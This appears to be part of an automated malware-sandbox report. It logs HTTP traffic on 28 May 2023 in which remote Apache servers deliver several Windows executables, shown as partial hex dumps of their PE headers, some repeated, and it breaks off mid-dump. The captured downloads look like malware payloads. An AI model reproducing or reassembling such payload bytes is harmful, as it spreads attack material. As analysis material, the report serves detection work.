00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 08 00 00 00 00 00 00 00 00 00 00 00 08 20 00 00 48 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 a4 3a 4e 00 00 20 00 00 00 3c 4e 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 d0 04 00 00 00 60 4e 00 00 06 00 00 00 3e 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 0c 00 00 00 00 80 4e 00 00 02 00 00 00 44 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 5a 4e 00 00 00 00 00 48 00 00 00 02 00 05 00 f4 44 4e 00 5c 15 00 00 03 00 00 00 01 00 00 06 d8 27 00 00 1a 1d 4e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 13 30 03 00 5f 01 00 00 01 00 00 11 7e 03 00 00 04 2c 0d 28 11 00 00 06 2c 06 16 28 0d 00 00 0a 7e 04 00 00 04 2c 0d 28 13 00 00 06 2c 06 16 28 0d 00 00 0a 7e 05 00 00 04 2c 0d 28 15 00 00 06 2c 06 16 28 0d 00 00 0a 7e 06 00 00 04 2c 0d 28 16 00 00 06 2c 06 16 28 0d 00 00 0a 7e 01 00 00 04 2c 10 7e 02 00 00 04 20 e8 03 00 00 5a 28 0e 00 00 0a 7e 07 00 00 04 2c 11 72 01 00 00 70 72 01 00 00 70 16 28 09 00 00 06 26 16 0a 38 c2 00 00 00 7e 0c 00 00 04 06 6f 0f 00 00 0a 0b 7e 0d 00 00 04 06 6f 0f 00 00 0a 0c 7e 0e 00 00 04 06 6f 0f 00 00 0a 0d 7e 0f 00 00 04 06 6f 0f 00 00 0a 13 04 07 28 08 00 00 06 13 05 7e 0a 00 00 04 2c 09 11 05 28 02 00 00 06 13 05 7e 09 00 00 04 72 03 00 00 70 28 10 00 00 0a 2c 1a 28 11 00 00 0a 72 19 00 00 70 6f 12 00 00 0a 11 05 28 04 00 00 06 13 05 2b 29 7e 09 00 00 04 72 31 00 00 70 28 10 00 00 0a 2c 18 11 05 28 11 00 00 0a 72 19 00 00 70 6f 12 00 00 0a 28 03 00 00 06 13 05 11 04 07 08 28 13 00 00 0a 28 14 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 08:43:04 GMTServer: Apache/2.4.37 (Win64) PHP/5.6.40Last-Modified: Sat, 31 Jul 2021 08:44:14 GMTETag: "2600-5c86757379380"Accept-Ranges: bytesContent-Length: 9728Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b1 8e c0 9c f5 ef ae cf f5 ef ae cf f5 ef ae cf ae 87 af ce f0 ef ae cf f5 ef af cf ff ef ae cf 6f 81 a7 ce f0 ef ae cf 6f 81 ac ce f4 ef ae cf 52 69 63 68 f5 ef ae cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 bc 80 04 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 12 00 00 00 12 00 00 00 00 00 00 fa 1a 00 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 00 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bc 3a 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 2c 02 00 00 d0 39 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ab 10 00 00 00 10 00 00 00 12 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 de 0b 00 00 00 30 00 00 00 0c 00 00 00 16 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 60 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 65 6c 6f 63 00 00 2c 02 00 00 00 50 00 00 00 04 00 00 00 22 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 08:43:09 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40Last-Modified: Tue, 23 May 2023 07:04:01 GMTETag: "51e00-5fc56fdfa7238"Accept-Ranges: bytesContent-Length: 335360Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd 6d c9 53 99 0c a7 00 99 0c a7 00 99 0c a7 00 0a 42 3f 00 98 0c a7 00 f6 7a 39 00 89 0c a7 00 f6 7a 0c 00 b3 0c a7 00 f6 7a 0d 00 fa 0c a7 00 90 74 34 00 9e 0c a7 00 99 0c a6 00 ec 0c a7 00 f6 7a 08 00 98 0c a7 00 f6 7a 3d 00 98 0c a7 00 f6 7a 3a 00 98 0c a7 00 52 69 63 68 99 0c a7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b7 05 7f 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 54 01 00 00 b0 2b 00 00 00 00 00 1c 77 00 00 00 10 00 00 00 70 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 2c 00 00 04 00 00 f9 b9 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 59 01 00 50 00 00 00 00 c0 2c 00 28 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 43 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 c8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 96 53 01 00 00 10 00 00 00 54 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 6c 48 2b 00 00 70 01 00 00 98 03 00 00 58 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 2d 00 00 00 c0 2c 00 00 2e 00 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 08:43:09 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40Last-Modified: Sun, 28 May 2023 08:40:04 GMTETag: "c3e00-5fcbceaa1bec3"Accept-Ranges: bytesContent-Length: 802304Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 26 ff f6 9e 62 9e 98 cd 62 9e 98 cd 62 9e 98 cd 7c cc 0d cd 7f 9e 98 cd 7c cc 1b cd 18 9e 98 cd 7c cc 1c cd 48 9e 98 cd 45 58 e3 cd 6b 9e 98 cd 62 9e 99 cd ea 9e 98 cd 7c cc 12 cd 63 9e 98 cd 7c cc 0c cd 63 9e 98 cd 7c cc 09 cd 63 9e 98 cd 52 69 63 68 62 9e 98 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 d0 34 fa 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 09 00 00 4e 0a 00 00 28 26 00 00 00 00 00 59 4e 00 00 00 10 00 00 00 60 0a 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 00 00 00 00 00 00 05 00 00 00 00 00 00 00 00 a0 30 00 00 04 00 00 01 83 0c 00 02 00 00 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 88 51 0a 00 64 00 00 00 00 c0 2e 00 98 93 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 30 00 e4 0d 00 00 20 12 00 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 31 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 d4 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 4a 4c 0a 00 00 10 00 00 00 4e 0a 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 44 58 24 00 00 60 0a 00 00 1e 00 00 00 52 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 98 93 01 00 00 c0 2e 00 00 94 01 00 00 70 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 10 38 00 00 00 60 30 00 00 3a 00 00 00 04 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 08:43:09 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40Last-Modified: Tue, 23 May 2023 07:04:01 GMTETag: "51e00-5fc56fdfa7238"Accept-Ranges: bytesContent-Length: 335360Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd 6d c9 53 99 0c a7 00 99 0c a7 00 99 0c a7 00 0a 42 3f 00 98 0c a7 00 f6 7a 39 00 89 0c a7 00 f6 7a 0c 00 b3 0c a7 00 f6 7a 0d 00 fa 0c a7 00 90 74 34 00 9e 0c a7 00 99 0c a6 00 ec 0c a7 00 f6 7a 08 00 98 0c a7 00 f6 7a 3d 00 98 0c a7 00 f6 7a 3a 00 98 0c a7 00 52 69 63 68 99 0c a7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b7 05 7f 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 54 01 00 00 b0 2b 00 00 00 00 00 1c 77 00 00 00 10 00 00 00 70 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 2c 00 00 04 00 00 f9 b9 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 59 01 00 50 00 00 00 00 c0 2c 00 28 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 43 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 c8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 96 53 01 00 00 10 00 00 00 54 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 6c 48 2b 00 00 70 01 00 00 98 03 00 00 58 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 2d 00 00 00 c0 2c 00 00 2e 00 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 08:43:09 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40Last-Modified: Tue, 23 May 2023 07:04:01 GMTETag: "51e00-5fc56fdfa7238"Accept-Ranges: bytesContent-Length: 335360Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd 6d c9 53 99 0c a7 00 99 0c a7 00 99 0c a7 00 0a 42 3f 00 98 0c a7 00 f6 7a 39 00 89 0c a7 00 f6 7a 0c 00 b3 0c a7 00 f6 7a 0d 00 fa 0c a7 00 90 74 34 00 9e 0c a7 00 99 0c a6 00 ec 0c a7 00 f6 7a 08 00 98 0c a7 00 f6 7a 3d 00 98 0c a7 00 f6 7a 3a 00 98 0c a7 00 52 69 63 68 99 0c a7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b7 05 7f 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 54 01 00 00 b0 2b 00 00 00 00 00 1c 77 00 00 00 10 00 00 00 70 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 2c 00 00 04 00 00 f9 b9 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 59 01 00 50 00 00 00 00 c0 2c 00 28 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 43 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 c8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 96 53 01 00 00 10 00 00 00 54 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 6c 48 2b 00 00 70 01 00 00 98 03 00 00 58 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 2d 00 00 00 c0 2c 00 00 2e 00 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 08:43:10 GMTServer: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.6.40Last-Modified: Tue, 23 May 2023 07:04:01 GMTETag: "51e00-5fc56fdfa7238"Accept-Ranges: bytesContent-Length: 335360Connection: closeContent-Type: application/octet-streamData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 dd 6d c9 53 99 0c a7 00 99 0c a7 00 99 0c a7 00 0a 42 3f 00 98 0c a7 00 f6 7a 39 00 89 0c a7 00 f6 7a 0c 00 b3 0c a7 00 f6 7a 0d 00 fa 0c a7 00 90 74 34 00 9e 0c a7 00 99 0c a6 00 ec 0c a7 00 f6 7a 08 00 98 0c a7 00 f6 7a 3d 00 98 0c a7 00 f6 7a 3a 00 98 0c a7 00 52 69 63 68 99 0c a7 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 b7 05 7f 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0a 00 00 54 01 00 00 b0 2b 00 00 00 00 00 1c 77 00 00 00 10 00 00 00 70 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 f0 2c 00 00 04 00 00 f9 b9 05 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 04 59 01 00 50 00 00 00 00 c0 2c 00 28 2d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 58 43 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 10 00 00 c8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 96 53 01 00 00 10 00 00 00 54 01 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 6c 48 2b 00 00 70 01 00 00 98 03 00 00 58 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 28 2d 00 00 00 c0 2c 00 00 2e 00 00 00 f0 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Sun, 28 May 2023 08:43:11 GMTServer: Apache/2.4.37 (Win64) PHP/5.6.40Last-Modified: Sat, 31 Jul 2021 08:44:14 GMTETag: "2600-5c86757379380"Accept-Ranges: bytesContent-Length: 9728Connection: closeContent-Type: application/x-msdownloadData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d0 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 b1 8e c0 9c f5 ef ae cf f5 ef ae cf f5 ef ae cf ae 87 af ce f0 ef ae cf f5 ef af cf ff ef ae cf 6f 81 a7 ce f0 ef ae cf 6f 81 ac ce f4 ef ae cf 52 69 63 68 f5 ef ae cf 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 bc 80 04 61 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 12 00 00 00 12 00 00 00 00 00 00 fa 1a 00 00 00 10 00 00 00 30 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 00 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 bc 3a 00 00 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 00 00 2c 02 00 00 d0 39 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 00 00 30 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 ab 10 00 00 00 10 00 00 00 12 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 